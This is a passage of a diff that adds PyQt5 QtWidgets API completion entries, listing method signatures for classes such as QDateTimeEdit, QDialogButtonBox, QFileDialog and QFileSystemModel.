+QtWidgets.QDateTimeEdit.validate?4(QString, int) -> (QValidator.State, QString, int) +QtWidgets.QDateTimeEdit.fixup?4(QString) -> QString +QtWidgets.QDateTimeEdit.dateTimeFromText?4(QString) -> QDateTime +QtWidgets.QDateTimeEdit.textFromDateTime?4(QDateTime) -> QString +QtWidgets.QDateTimeEdit.stepEnabled?4() -> QAbstractSpinBox.StepEnabled +QtWidgets.QDateTimeEdit.minimumDateTime?4() -> QDateTime +QtWidgets.QDateTimeEdit.clearMinimumDateTime?4() +QtWidgets.QDateTimeEdit.setMinimumDateTime?4(QDateTime) +QtWidgets.QDateTimeEdit.maximumDateTime?4() -> QDateTime +QtWidgets.QDateTimeEdit.clearMaximumDateTime?4() +QtWidgets.QDateTimeEdit.setMaximumDateTime?4(QDateTime) +QtWidgets.QDateTimeEdit.setDateTimeRange?4(QDateTime, QDateTime) +QtWidgets.QDateTimeEdit.calendarWidget?4() -> QCalendarWidget +QtWidgets.QDateTimeEdit.setCalendarWidget?4(QCalendarWidget) +QtWidgets.QDateTimeEdit.timeSpec?4() -> Qt.TimeSpec +QtWidgets.QDateTimeEdit.setTimeSpec?4(Qt.TimeSpec) +QtWidgets.QDateTimeEdit.calendar?4() -> QCalendar +QtWidgets.QDateTimeEdit.setCalendar?4(QCalendar) +QtWidgets.QDateTimeEdit.Sections?1() +QtWidgets.QDateTimeEdit.Sections.__init__?1(self) +QtWidgets.QDateTimeEdit.Sections?1(int) +QtWidgets.QDateTimeEdit.Sections.__init__?1(self, int) +QtWidgets.QDateTimeEdit.Sections?1(QDateTimeEdit.Sections) +QtWidgets.QDateTimeEdit.Sections.__init__?1(self, QDateTimeEdit.Sections) +QtWidgets.QTimeEdit?1(QWidget parent=None) +QtWidgets.QTimeEdit.__init__?1(self, QWidget parent=None) +QtWidgets.QTimeEdit?1(QTime, QWidget parent=None) +QtWidgets.QTimeEdit.__init__?1(self, QTime, QWidget parent=None) +QtWidgets.QDateEdit?1(QWidget parent=None) +QtWidgets.QDateEdit.__init__?1(self, QWidget parent=None) +QtWidgets.QDateEdit?1(QDate, QWidget parent=None) +QtWidgets.QDateEdit.__init__?1(self, QDate, QWidget parent=None) +QtWidgets.QDesktopWidget?1() +QtWidgets.QDesktopWidget.__init__?1(self) +QtWidgets.QDesktopWidget.isVirtualDesktop?4() -> bool +QtWidgets.QDesktopWidget.primaryScreen?4() -> int +QtWidgets.QDesktopWidget.screenNumber?4(QWidget widget=None) -> int +QtWidgets.QDesktopWidget.screenNumber?4(QPoint) -> int +QtWidgets.QDesktopWidget.screen?4(int screen=-1) -> QWidget +QtWidgets.QDesktopWidget.screenCount?4() -> int +QtWidgets.QDesktopWidget.screenGeometry?4(int screen=-1) -> QRect +QtWidgets.QDesktopWidget.screenGeometry?4(QWidget) -> QRect +QtWidgets.QDesktopWidget.screenGeometry?4(QPoint) -> QRect +QtWidgets.QDesktopWidget.availableGeometry?4(int screen=-1) -> QRect +QtWidgets.QDesktopWidget.availableGeometry?4(QWidget) -> QRect +QtWidgets.QDesktopWidget.availableGeometry?4(QPoint) -> QRect +QtWidgets.QDesktopWidget.resized?4(int) +QtWidgets.QDesktopWidget.workAreaResized?4(int) +QtWidgets.QDesktopWidget.screenCountChanged?4(int) +QtWidgets.QDesktopWidget.primaryScreenChanged?4() +QtWidgets.QDesktopWidget.resizeEvent?4(QResizeEvent) +QtWidgets.QDial?1(QWidget parent=None) +QtWidgets.QDial.__init__?1(self, QWidget parent=None) +QtWidgets.QDial.wrapping?4() -> bool +QtWidgets.QDial.notchSize?4() -> int +QtWidgets.QDial.setNotchTarget?4(float) +QtWidgets.QDial.notchTarget?4() -> float +QtWidgets.QDial.notchesVisible?4() -> bool +QtWidgets.QDial.sizeHint?4() -> QSize +QtWidgets.QDial.minimumSizeHint?4() -> QSize +QtWidgets.QDial.setNotchesVisible?4(bool) +QtWidgets.QDial.setWrapping?4(bool) +QtWidgets.QDial.initStyleOption?4(QStyleOptionSlider) +QtWidgets.QDial.event?4(QEvent) -> bool +QtWidgets.QDial.resizeEvent?4(QResizeEvent) +QtWidgets.QDial.paintEvent?4(QPaintEvent) +QtWidgets.QDial.mousePressEvent?4(QMouseEvent) +QtWidgets.QDial.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QDial.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QDial.sliderChange?4(QAbstractSlider.SliderChange) +QtWidgets.QDialogButtonBox.StandardButton?10 +QtWidgets.QDialogButtonBox.StandardButton.NoButton?10 +QtWidgets.QDialogButtonBox.StandardButton.Ok?10 +QtWidgets.QDialogButtonBox.StandardButton.Save?10 +QtWidgets.QDialogButtonBox.StandardButton.SaveAll?10 +QtWidgets.QDialogButtonBox.StandardButton.Open?10 +QtWidgets.QDialogButtonBox.StandardButton.Yes?10 +QtWidgets.QDialogButtonBox.StandardButton.YesToAll?10 +QtWidgets.QDialogButtonBox.StandardButton.No?10 +QtWidgets.QDialogButtonBox.StandardButton.NoToAll?10 +QtWidgets.QDialogButtonBox.StandardButton.Abort?10 +QtWidgets.QDialogButtonBox.StandardButton.Retry?10 +QtWidgets.QDialogButtonBox.StandardButton.Ignore?10 +QtWidgets.QDialogButtonBox.StandardButton.Close?10 +QtWidgets.QDialogButtonBox.StandardButton.Cancel?10 +QtWidgets.QDialogButtonBox.StandardButton.Discard?10 +QtWidgets.QDialogButtonBox.StandardButton.Help?10 +QtWidgets.QDialogButtonBox.StandardButton.Apply?10 +QtWidgets.QDialogButtonBox.StandardButton.Reset?10 +QtWidgets.QDialogButtonBox.StandardButton.RestoreDefaults?10 +QtWidgets.QDialogButtonBox.ButtonRole?10 +QtWidgets.QDialogButtonBox.ButtonRole.InvalidRole?10 +QtWidgets.QDialogButtonBox.ButtonRole.AcceptRole?10 +QtWidgets.QDialogButtonBox.ButtonRole.RejectRole?10 +QtWidgets.QDialogButtonBox.ButtonRole.DestructiveRole?10 +QtWidgets.QDialogButtonBox.ButtonRole.ActionRole?10 +QtWidgets.QDialogButtonBox.ButtonRole.HelpRole?10 +QtWidgets.QDialogButtonBox.ButtonRole.YesRole?10 +QtWidgets.QDialogButtonBox.ButtonRole.NoRole?10 +QtWidgets.QDialogButtonBox.ButtonRole.ResetRole?10 +QtWidgets.QDialogButtonBox.ButtonRole.ApplyRole?10 +QtWidgets.QDialogButtonBox.ButtonLayout?10 +QtWidgets.QDialogButtonBox.ButtonLayout.WinLayout?10 +QtWidgets.QDialogButtonBox.ButtonLayout.MacLayout?10 +QtWidgets.QDialogButtonBox.ButtonLayout.KdeLayout?10 +QtWidgets.QDialogButtonBox.ButtonLayout.GnomeLayout?10 +QtWidgets.QDialogButtonBox.ButtonLayout.AndroidLayout?10 +QtWidgets.QDialogButtonBox?1(QWidget parent=None) +QtWidgets.QDialogButtonBox.__init__?1(self, QWidget parent=None) +QtWidgets.QDialogButtonBox?1(Qt.Orientation, QWidget parent=None) +QtWidgets.QDialogButtonBox.__init__?1(self, Qt.Orientation, QWidget parent=None) +QtWidgets.QDialogButtonBox?1(QDialogButtonBox.StandardButtons, QWidget parent=None) +QtWidgets.QDialogButtonBox.__init__?1(self, QDialogButtonBox.StandardButtons, QWidget parent=None) +QtWidgets.QDialogButtonBox?1(QDialogButtonBox.StandardButtons, Qt.Orientation, QWidget parent=None) +QtWidgets.QDialogButtonBox.__init__?1(self, QDialogButtonBox.StandardButtons, Qt.Orientation, QWidget parent=None) +QtWidgets.QDialogButtonBox.setOrientation?4(Qt.Orientation) +QtWidgets.QDialogButtonBox.orientation?4() -> Qt.Orientation +QtWidgets.QDialogButtonBox.addButton?4(QAbstractButton, QDialogButtonBox.ButtonRole) +QtWidgets.QDialogButtonBox.addButton?4(QString, QDialogButtonBox.ButtonRole) -> QPushButton +QtWidgets.QDialogButtonBox.addButton?4(QDialogButtonBox.StandardButton) -> QPushButton +QtWidgets.QDialogButtonBox.removeButton?4(QAbstractButton) +QtWidgets.QDialogButtonBox.clear?4() +QtWidgets.QDialogButtonBox.buttons?4() -> unknown-type +QtWidgets.QDialogButtonBox.buttonRole?4(QAbstractButton) -> QDialogButtonBox.ButtonRole +QtWidgets.QDialogButtonBox.setStandardButtons?4(QDialogButtonBox.StandardButtons) +QtWidgets.QDialogButtonBox.standardButtons?4() -> QDialogButtonBox.StandardButtons +QtWidgets.QDialogButtonBox.standardButton?4(QAbstractButton) -> QDialogButtonBox.StandardButton +QtWidgets.QDialogButtonBox.button?4(QDialogButtonBox.StandardButton) -> QPushButton +QtWidgets.QDialogButtonBox.setCenterButtons?4(bool) +QtWidgets.QDialogButtonBox.centerButtons?4() -> bool +QtWidgets.QDialogButtonBox.accepted?4() +QtWidgets.QDialogButtonBox.clicked?4(QAbstractButton) +QtWidgets.QDialogButtonBox.helpRequested?4() +QtWidgets.QDialogButtonBox.rejected?4() +QtWidgets.QDialogButtonBox.changeEvent?4(QEvent) +QtWidgets.QDialogButtonBox.event?4(QEvent) -> bool +QtWidgets.QDialogButtonBox.StandardButtons?1() +QtWidgets.QDialogButtonBox.StandardButtons.__init__?1(self) +QtWidgets.QDialogButtonBox.StandardButtons?1(int) +QtWidgets.QDialogButtonBox.StandardButtons.__init__?1(self, int) +QtWidgets.QDialogButtonBox.StandardButtons?1(QDialogButtonBox.StandardButtons) +QtWidgets.QDialogButtonBox.StandardButtons.__init__?1(self, QDialogButtonBox.StandardButtons) +QtWidgets.QDirModel.Roles?10 +QtWidgets.QDirModel.Roles.FileIconRole?10 +QtWidgets.QDirModel.Roles.FilePathRole?10 +QtWidgets.QDirModel.Roles.FileNameRole?10 +QtWidgets.QDirModel?1(QStringList, QDir.Filters, QDir.SortFlags, QObject parent=None) +QtWidgets.QDirModel.__init__?1(self, QStringList, QDir.Filters, QDir.SortFlags, QObject parent=None) +QtWidgets.QDirModel?1(QObject parent=None) +QtWidgets.QDirModel.__init__?1(self, QObject parent=None) +QtWidgets.QDirModel.index?4(int, int, QModelIndex parent=QModelIndex()) -> QModelIndex +QtWidgets.QDirModel.parent?4(QModelIndex) -> QModelIndex +QtWidgets.QDirModel.parent?4() -> QObject +QtWidgets.QDirModel.rowCount?4(QModelIndex parent=QModelIndex()) -> int +QtWidgets.QDirModel.columnCount?4(QModelIndex parent=QModelIndex()) -> int +QtWidgets.QDirModel.data?4(QModelIndex, int role=Qt.DisplayRole) -> QVariant +QtWidgets.QDirModel.setData?4(QModelIndex, QVariant, int role=Qt.EditRole) -> bool +QtWidgets.QDirModel.headerData?4(int, Qt.Orientation, int role=Qt.DisplayRole) -> QVariant +QtWidgets.QDirModel.hasChildren?4(QModelIndex parent=QModelIndex()) -> bool +QtWidgets.QDirModel.flags?4(QModelIndex) -> Qt.ItemFlags +QtWidgets.QDirModel.sort?4(int, Qt.SortOrder order=Qt.AscendingOrder) +QtWidgets.QDirModel.mimeTypes?4() -> QStringList +QtWidgets.QDirModel.mimeData?4(unknown-type) -> QMimeData +QtWidgets.QDirModel.dropMimeData?4(QMimeData, Qt.DropAction, int, int, QModelIndex) -> bool +QtWidgets.QDirModel.supportedDropActions?4() -> Qt.DropActions +QtWidgets.QDirModel.setIconProvider?4(QFileIconProvider) +QtWidgets.QDirModel.iconProvider?4() -> QFileIconProvider +QtWidgets.QDirModel.setNameFilters?4(QStringList) +QtWidgets.QDirModel.nameFilters?4() -> QStringList +QtWidgets.QDirModel.setFilter?4(QDir.Filters) +QtWidgets.QDirModel.filter?4() -> QDir.Filters +QtWidgets.QDirModel.setSorting?4(QDir.SortFlags) +QtWidgets.QDirModel.sorting?4() -> QDir.SortFlags +QtWidgets.QDirModel.setResolveSymlinks?4(bool) +QtWidgets.QDirModel.resolveSymlinks?4() -> bool +QtWidgets.QDirModel.setReadOnly?4(bool) +QtWidgets.QDirModel.isReadOnly?4() -> bool +QtWidgets.QDirModel.setLazyChildCount?4(bool) +QtWidgets.QDirModel.lazyChildCount?4() -> bool +QtWidgets.QDirModel.refresh?4(QModelIndex parent=QModelIndex()) +QtWidgets.QDirModel.index?4(QString, int column=0) -> QModelIndex +QtWidgets.QDirModel.isDir?4(QModelIndex) -> bool +QtWidgets.QDirModel.mkdir?4(QModelIndex, QString) -> QModelIndex +QtWidgets.QDirModel.rmdir?4(QModelIndex) -> bool +QtWidgets.QDirModel.remove?4(QModelIndex) -> bool +QtWidgets.QDirModel.filePath?4(QModelIndex) -> QString +QtWidgets.QDirModel.fileName?4(QModelIndex) -> QString +QtWidgets.QDirModel.fileIcon?4(QModelIndex) -> QIcon +QtWidgets.QDirModel.fileInfo?4(QModelIndex) -> QFileInfo +QtWidgets.QDockWidget.DockWidgetFeature?10 +QtWidgets.QDockWidget.DockWidgetFeature.DockWidgetClosable?10 +QtWidgets.QDockWidget.DockWidgetFeature.DockWidgetMovable?10 +QtWidgets.QDockWidget.DockWidgetFeature.DockWidgetFloatable?10 +QtWidgets.QDockWidget.DockWidgetFeature.DockWidgetVerticalTitleBar?10 +QtWidgets.QDockWidget.DockWidgetFeature.AllDockWidgetFeatures?10 +QtWidgets.QDockWidget.DockWidgetFeature.NoDockWidgetFeatures?10 +QtWidgets.QDockWidget?1(QString, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QDockWidget.__init__?1(self, QString, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QDockWidget?1(QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QDockWidget.__init__?1(self, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QDockWidget.widget?4() -> QWidget +QtWidgets.QDockWidget.setWidget?4(QWidget) +QtWidgets.QDockWidget.setFeatures?4(QDockWidget.DockWidgetFeatures) +QtWidgets.QDockWidget.features?4() -> QDockWidget.DockWidgetFeatures +QtWidgets.QDockWidget.setFloating?4(bool) +QtWidgets.QDockWidget.isFloating?4() -> bool +QtWidgets.QDockWidget.setAllowedAreas?4(Qt.DockWidgetAreas) +QtWidgets.QDockWidget.allowedAreas?4() -> Qt.DockWidgetAreas +QtWidgets.QDockWidget.isAreaAllowed?4(Qt.DockWidgetArea) -> bool +QtWidgets.QDockWidget.toggleViewAction?4() -> QAction +QtWidgets.QDockWidget.setTitleBarWidget?4(QWidget) +QtWidgets.QDockWidget.titleBarWidget?4() -> QWidget +QtWidgets.QDockWidget.featuresChanged?4(QDockWidget.DockWidgetFeatures) +QtWidgets.QDockWidget.topLevelChanged?4(bool) +QtWidgets.QDockWidget.allowedAreasChanged?4(Qt.DockWidgetAreas) +QtWidgets.QDockWidget.dockLocationChanged?4(Qt.DockWidgetArea) +QtWidgets.QDockWidget.visibilityChanged?4(bool) +QtWidgets.QDockWidget.initStyleOption?4(QStyleOptionDockWidget) +QtWidgets.QDockWidget.changeEvent?4(QEvent) +QtWidgets.QDockWidget.closeEvent?4(QCloseEvent) +QtWidgets.QDockWidget.paintEvent?4(QPaintEvent) +QtWidgets.QDockWidget.event?4(QEvent) -> bool +QtWidgets.QDockWidget.DockWidgetFeatures?1() +QtWidgets.QDockWidget.DockWidgetFeatures.__init__?1(self) +QtWidgets.QDockWidget.DockWidgetFeatures?1(int) +QtWidgets.QDockWidget.DockWidgetFeatures.__init__?1(self, int) +QtWidgets.QDockWidget.DockWidgetFeatures?1(QDockWidget.DockWidgetFeatures) +QtWidgets.QDockWidget.DockWidgetFeatures.__init__?1(self, QDockWidget.DockWidgetFeatures) +QtWidgets.QErrorMessage?1(QWidget parent=None) +QtWidgets.QErrorMessage.__init__?1(self, QWidget parent=None) +QtWidgets.QErrorMessage.qtHandler?4() -> QErrorMessage +QtWidgets.QErrorMessage.showMessage?4(QString) +QtWidgets.QErrorMessage.showMessage?4(QString, QString) +QtWidgets.QErrorMessage.changeEvent?4(QEvent) +QtWidgets.QErrorMessage.done?4(int) +QtWidgets.QFileDialog.Option?10 +QtWidgets.QFileDialog.Option.ShowDirsOnly?10 +QtWidgets.QFileDialog.Option.DontResolveSymlinks?10 +QtWidgets.QFileDialog.Option.DontConfirmOverwrite?10 +QtWidgets.QFileDialog.Option.DontUseSheet?10 +QtWidgets.QFileDialog.Option.DontUseNativeDialog?10 +QtWidgets.QFileDialog.Option.ReadOnly?10 +QtWidgets.QFileDialog.Option.HideNameFilterDetails?10 +QtWidgets.QFileDialog.Option.DontUseCustomDirectoryIcons?10 +QtWidgets.QFileDialog.DialogLabel?10 +QtWidgets.QFileDialog.DialogLabel.LookIn?10 +QtWidgets.QFileDialog.DialogLabel.FileName?10 +QtWidgets.QFileDialog.DialogLabel.FileType?10 +QtWidgets.QFileDialog.DialogLabel.Accept?10 +QtWidgets.QFileDialog.DialogLabel.Reject?10 +QtWidgets.QFileDialog.AcceptMode?10 +QtWidgets.QFileDialog.AcceptMode.AcceptOpen?10 +QtWidgets.QFileDialog.AcceptMode.AcceptSave?10 +QtWidgets.QFileDialog.FileMode?10 +QtWidgets.QFileDialog.FileMode.AnyFile?10 +QtWidgets.QFileDialog.FileMode.ExistingFile?10 +QtWidgets.QFileDialog.FileMode.Directory?10 +QtWidgets.QFileDialog.FileMode.ExistingFiles?10 +QtWidgets.QFileDialog.FileMode.DirectoryOnly?10 +QtWidgets.QFileDialog.ViewMode?10 +QtWidgets.QFileDialog.ViewMode.Detail?10 +QtWidgets.QFileDialog.ViewMode.List?10 +QtWidgets.QFileDialog?1(QWidget, Qt.WindowFlags) +QtWidgets.QFileDialog.__init__?1(self, QWidget, Qt.WindowFlags) +QtWidgets.QFileDialog?1(QWidget parent=None, QString caption='', QString directory='', QString filter='') +QtWidgets.QFileDialog.__init__?1(self, QWidget parent=None, QString caption='', QString directory='', QString filter='') +QtWidgets.QFileDialog.setDirectory?4(QString) +QtWidgets.QFileDialog.setDirectory?4(QDir) +QtWidgets.QFileDialog.directory?4() -> QDir +QtWidgets.QFileDialog.selectFile?4(QString) +QtWidgets.QFileDialog.selectedFiles?4() -> QStringList +QtWidgets.QFileDialog.setViewMode?4(QFileDialog.ViewMode) +QtWidgets.QFileDialog.viewMode?4() -> QFileDialog.ViewMode +QtWidgets.QFileDialog.setFileMode?4(QFileDialog.FileMode) +QtWidgets.QFileDialog.fileMode?4() -> QFileDialog.FileMode +QtWidgets.QFileDialog.setAcceptMode?4(QFileDialog.AcceptMode) +QtWidgets.QFileDialog.acceptMode?4() -> QFileDialog.AcceptMode +QtWidgets.QFileDialog.setDefaultSuffix?4(QString) +QtWidgets.QFileDialog.defaultSuffix?4() -> QString +QtWidgets.QFileDialog.setHistory?4(QStringList) +QtWidgets.QFileDialog.history?4() -> QStringList +QtWidgets.QFileDialog.setItemDelegate?4(QAbstractItemDelegate) +QtWidgets.QFileDialog.itemDelegate?4() -> QAbstractItemDelegate +QtWidgets.QFileDialog.setIconProvider?4(QFileIconProvider) +QtWidgets.QFileDialog.iconProvider?4() -> QFileIconProvider +QtWidgets.QFileDialog.setLabelText?4(QFileDialog.DialogLabel, QString) +QtWidgets.QFileDialog.labelText?4(QFileDialog.DialogLabel) -> QString +QtWidgets.QFileDialog.currentChanged?4(QString) +QtWidgets.QFileDialog.directoryEntered?4(QString) +QtWidgets.QFileDialog.filesSelected?4(QStringList) +QtWidgets.QFileDialog.filterSelected?4(QString) +QtWidgets.QFileDialog.fileSelected?4(QString) +QtWidgets.QFileDialog.getExistingDirectory?4(QWidget parent=None, QString caption='', QString directory='', QFileDialog.Options options=QFileDialog.ShowDirsOnly) -> QString +QtWidgets.QFileDialog.getExistingDirectoryUrl?4(QWidget parent=None, QString caption='', QUrl directory=QUrl(), QFileDialog.Options options=QFileDialog.ShowDirsOnly, QStringList supportedSchemes=[]) -> QUrl +QtWidgets.QFileDialog.getOpenFileName?4(QWidget parent=None, QString caption='', QString directory='', QString filter='', QString initialFilter='', QFileDialog.Options options=0) -> tuple +QtWidgets.QFileDialog.getOpenFileNames?4(QWidget parent=None, QString caption='', QString directory='', QString filter='', QString initialFilter='', QFileDialog.Options options=0) -> tuple +QtWidgets.QFileDialog.getSaveFileName?4(QWidget parent=None, QString caption='', QString directory='', QString filter='', QString initialFilter='', QFileDialog.Options options=0) -> tuple +QtWidgets.QFileDialog.done?4(int) +QtWidgets.QFileDialog.accept?4() +QtWidgets.QFileDialog.changeEvent?4(QEvent) +QtWidgets.QFileDialog.setSidebarUrls?4(unknown-type) +QtWidgets.QFileDialog.sidebarUrls?4() -> unknown-type +QtWidgets.QFileDialog.saveState?4() -> QByteArray +QtWidgets.QFileDialog.restoreState?4(QByteArray) -> bool +QtWidgets.QFileDialog.setProxyModel?4(QAbstractProxyModel) +QtWidgets.QFileDialog.proxyModel?4() -> QAbstractProxyModel +QtWidgets.QFileDialog.setNameFilter?4(QString) +QtWidgets.QFileDialog.setNameFilters?4(QStringList) +QtWidgets.QFileDialog.nameFilters?4() -> QStringList +QtWidgets.QFileDialog.selectNameFilter?4(QString) +QtWidgets.QFileDialog.selectedNameFilter?4() -> QString +QtWidgets.QFileDialog.filter?4() -> QDir.Filters +QtWidgets.QFileDialog.setFilter?4(QDir.Filters) +QtWidgets.QFileDialog.setOption?4(QFileDialog.Option, bool on=True) +QtWidgets.QFileDialog.testOption?4(QFileDialog.Option) -> bool +QtWidgets.QFileDialog.setOptions?4(QFileDialog.Options) +QtWidgets.QFileDialog.options?4() -> QFileDialog.Options +QtWidgets.QFileDialog.open?4() +QtWidgets.QFileDialog.open?4(object) +QtWidgets.QFileDialog.setVisible?4(bool) +QtWidgets.QFileDialog.setDirectoryUrl?4(QUrl) +QtWidgets.QFileDialog.directoryUrl?4() -> QUrl +QtWidgets.QFileDialog.selectUrl?4(QUrl) +QtWidgets.QFileDialog.selectedUrls?4() -> unknown-type +QtWidgets.QFileDialog.setMimeTypeFilters?4(QStringList) +QtWidgets.QFileDialog.mimeTypeFilters?4() -> QStringList +QtWidgets.QFileDialog.selectMimeTypeFilter?4(QString) +QtWidgets.QFileDialog.urlSelected?4(QUrl) +QtWidgets.QFileDialog.urlsSelected?4(unknown-type) +QtWidgets.QFileDialog.currentUrlChanged?4(QUrl) +QtWidgets.QFileDialog.directoryUrlEntered?4(QUrl) +QtWidgets.QFileDialog.getOpenFileUrl?4(QWidget parent=None, QString caption='', QUrl directory=QUrl(), QString filter='', QString initialFilter='', QFileDialog.Options options=0, QStringList supportedSchemes=[]) -> tuple +QtWidgets.QFileDialog.getOpenFileUrls?4(QWidget parent=None, QString caption='', QUrl directory=QUrl(), QString filter='', QString initialFilter='', QFileDialog.Options options=0, QStringList supportedSchemes=[]) -> tuple +QtWidgets.QFileDialog.getSaveFileUrl?4(QWidget parent=None, QString caption='', QUrl directory=QUrl(), QString filter='', QString initialFilter='', QFileDialog.Options options=0, QStringList supportedSchemes=[]) -> tuple +QtWidgets.QFileDialog.setSupportedSchemes?4(QStringList) +QtWidgets.QFileDialog.supportedSchemes?4() -> QStringList +QtWidgets.QFileDialog.selectedMimeTypeFilter?4() -> QString +QtWidgets.QFileDialog.saveFileContent?4(QByteArray, QString fileNameHint='') +QtWidgets.QFileDialog.Options?1() +QtWidgets.QFileDialog.Options.__init__?1(self) +QtWidgets.QFileDialog.Options?1(int) +QtWidgets.QFileDialog.Options.__init__?1(self, int) +QtWidgets.QFileDialog.Options?1(QFileDialog.Options) +QtWidgets.QFileDialog.Options.__init__?1(self, QFileDialog.Options) +QtWidgets.QFileIconProvider.Option?10 +QtWidgets.QFileIconProvider.Option.DontUseCustomDirectoryIcons?10 +QtWidgets.QFileIconProvider.IconType?10 +QtWidgets.QFileIconProvider.IconType.Computer?10 +QtWidgets.QFileIconProvider.IconType.Desktop?10 +QtWidgets.QFileIconProvider.IconType.Trashcan?10 +QtWidgets.QFileIconProvider.IconType.Network?10 +QtWidgets.QFileIconProvider.IconType.Drive?10 +QtWidgets.QFileIconProvider.IconType.Folder?10 +QtWidgets.QFileIconProvider.IconType.File?10 +QtWidgets.QFileIconProvider?1() +QtWidgets.QFileIconProvider.__init__?1(self) +QtWidgets.QFileIconProvider.icon?4(QFileIconProvider.IconType) -> QIcon +QtWidgets.QFileIconProvider.icon?4(QFileInfo) -> QIcon +QtWidgets.QFileIconProvider.type?4(QFileInfo) -> QString +QtWidgets.QFileIconProvider.setOptions?4(QFileIconProvider.Options) +QtWidgets.QFileIconProvider.options?4() -> QFileIconProvider.Options +QtWidgets.QFileIconProvider.Options?1() +QtWidgets.QFileIconProvider.Options.__init__?1(self) +QtWidgets.QFileIconProvider.Options?1(int) +QtWidgets.QFileIconProvider.Options.__init__?1(self, int) +QtWidgets.QFileIconProvider.Options?1(QFileIconProvider.Options) +QtWidgets.QFileIconProvider.Options.__init__?1(self, QFileIconProvider.Options) +QtWidgets.QFileSystemModel.Option?10 +QtWidgets.QFileSystemModel.Option.DontWatchForChanges?10 +QtWidgets.QFileSystemModel.Option.DontResolveSymlinks?10 +QtWidgets.QFileSystemModel.Option.DontUseCustomDirectoryIcons?10 +QtWidgets.QFileSystemModel.Roles?10 +QtWidgets.QFileSystemModel.Roles.FileIconRole?10 +QtWidgets.QFileSystemModel.Roles.FilePathRole?10 +QtWidgets.QFileSystemModel.Roles.FileNameRole?10 +QtWidgets.QFileSystemModel.Roles.FilePermissions?10 +QtWidgets.QFileSystemModel?1(QObject parent=None) +QtWidgets.QFileSystemModel.__init__?1(self, QObject parent=None) +QtWidgets.QFileSystemModel.index?4(int, int, QModelIndex parent=QModelIndex()) -> QModelIndex +QtWidgets.QFileSystemModel.index?4(QString, int column=0) -> QModelIndex +QtWidgets.QFileSystemModel.parent?4(QModelIndex) -> QModelIndex +QtWidgets.QFileSystemModel.hasChildren?4(QModelIndex parent=QModelIndex()) -> bool +QtWidgets.QFileSystemModel.canFetchMore?4(QModelIndex) -> bool +QtWidgets.QFileSystemModel.fetchMore?4(QModelIndex) +QtWidgets.QFileSystemModel.rowCount?4(QModelIndex parent=QModelIndex()) -> int +QtWidgets.QFileSystemModel.columnCount?4(QModelIndex parent=QModelIndex()) -> int +QtWidgets.QFileSystemModel.myComputer?4(int role=Qt.ItemDataRole.DisplayRole) -> QVariant +QtWidgets.QFileSystemModel.data?4(QModelIndex, int role=Qt.ItemDataRole.DisplayRole) -> QVariant +QtWidgets.QFileSystemModel.setData?4(QModelIndex, QVariant, int role=Qt.ItemDataRole.EditRole) -> bool +QtWidgets.QFileSystemModel.headerData?4(int, Qt.Orientation, int role=Qt.ItemDataRole.DisplayRole) -> QVariant +QtWidgets.QFileSystemModel.flags?4(QModelIndex) -> Qt.ItemFlags +QtWidgets.QFileSystemModel.sort?4(int, Qt.SortOrder order=Qt.AscendingOrder) +QtWidgets.QFileSystemModel.mimeTypes?4() -> QStringList +QtWidgets.QFileSystemModel.mimeData?4(unknown-type) -> QMimeData +QtWidgets.QFileSystemModel.dropMimeData?4(QMimeData, Qt.DropAction, int, int, QModelIndex) -> bool +QtWidgets.QFileSystemModel.supportedDropActions?4() -> Qt.DropActions +QtWidgets.QFileSystemModel.setRootPath?4(QString) -> QModelIndex +QtWidgets.QFileSystemModel.rootPath?4() -> QString +QtWidgets.QFileSystemModel.rootDirectory?4() -> QDir +QtWidgets.QFileSystemModel.setIconProvider?4(QFileIconProvider) +QtWidgets.QFileSystemModel.iconProvider?4() -> QFileIconProvider +QtWidgets.QFileSystemModel.setFilter?4(QDir.Filters) +QtWidgets.QFileSystemModel.filter?4() -> QDir.Filters +QtWidgets.QFileSystemModel.setResolveSymlinks?4(bool) +QtWidgets.QFileSystemModel.resolveSymlinks?4() -> bool +QtWidgets.QFileSystemModel.setReadOnly?4(bool) +QtWidgets.QFileSystemModel.isReadOnly?4() -> bool +QtWidgets.QFileSystemModel.setNameFilterDisables?4(bool) +QtWidgets.QFileSystemModel.nameFilterDisables?4() -> bool +QtWidgets.QFileSystemModel.setNameFilters?4(QStringList) +QtWidgets.QFileSystemModel.nameFilters?4() -> QStringList +QtWidgets.QFileSystemModel.filePath?4(QModelIndex) -> QString +QtWidgets.QFileSystemModel.isDir?4(QModelIndex) -> bool +QtWidgets.QFileSystemModel.size?4(QModelIndex) -> int +QtWidgets.QFileSystemModel.type?4(QModelIndex) -> QString +QtWidgets.QFileSystemModel.lastModified?4(QModelIndex) -> QDateTime +QtWidgets.QFileSystemModel.mkdir?4(QModelIndex, QString) -> QModelIndex +QtWidgets.QFileSystemModel.permissions?4(QModelIndex) -> QFileDevice.Permissions +QtWidgets.QFileSystemModel.rmdir?4(QModelIndex) -> bool +QtWidgets.QFileSystemModel.fileName?4(QModelIndex) -> QString +QtWidgets.QFileSystemModel.fileIcon?4(QModelIndex) -> QIcon +QtWidgets.QFileSystemModel.fileInfo?4(QModelIndex) -> QFileInfo +QtWidgets.QFileSystemModel.remove?4(QModelIndex) -> bool +QtWidgets.QFileSystemModel.fileRenamed?4(QString, QString, QString) +QtWidgets.QFileSystemModel.rootPathChanged?4(QString) +QtWidgets.QFileSystemModel.directoryLoaded?4(QString) +QtWidgets.QFileSystemModel.event?4(QEvent) -> bool +QtWidgets.QFileSystemModel.timerEvent?4(QTimerEvent) +QtWidgets.QFileSystemModel.sibling?4(int, int, QModelIndex) -> QModelIndex +QtWidgets.QFileSystemModel.setOption?4(QFileSystemModel.Option, bool on=True) +QtWidgets.QFileSystemModel.testOption?4(QFileSystemModel.Option) -> bool +QtWidgets.QFileSystemModel.setOptions?4(QFileSystemModel.Options) +QtWidgets.QFileSystemModel.options?4() -> QFileSystemModel.Options +QtWidgets.QFileSystemModel.Options?1() +QtWidgets.QFileSystemModel.Options.__init__?1(self) +QtWidgets.QFileSystemModel.Options?1(int) +QtWidgets.QFileSystemModel.Options.__init__?1(self, int) +QtWidgets.QFileSystemModel.Options?1(QFileSystemModel.Options) +QtWidgets.QFileSystemModel.Options.__init__?1(self, QFileSystemModel.Options) 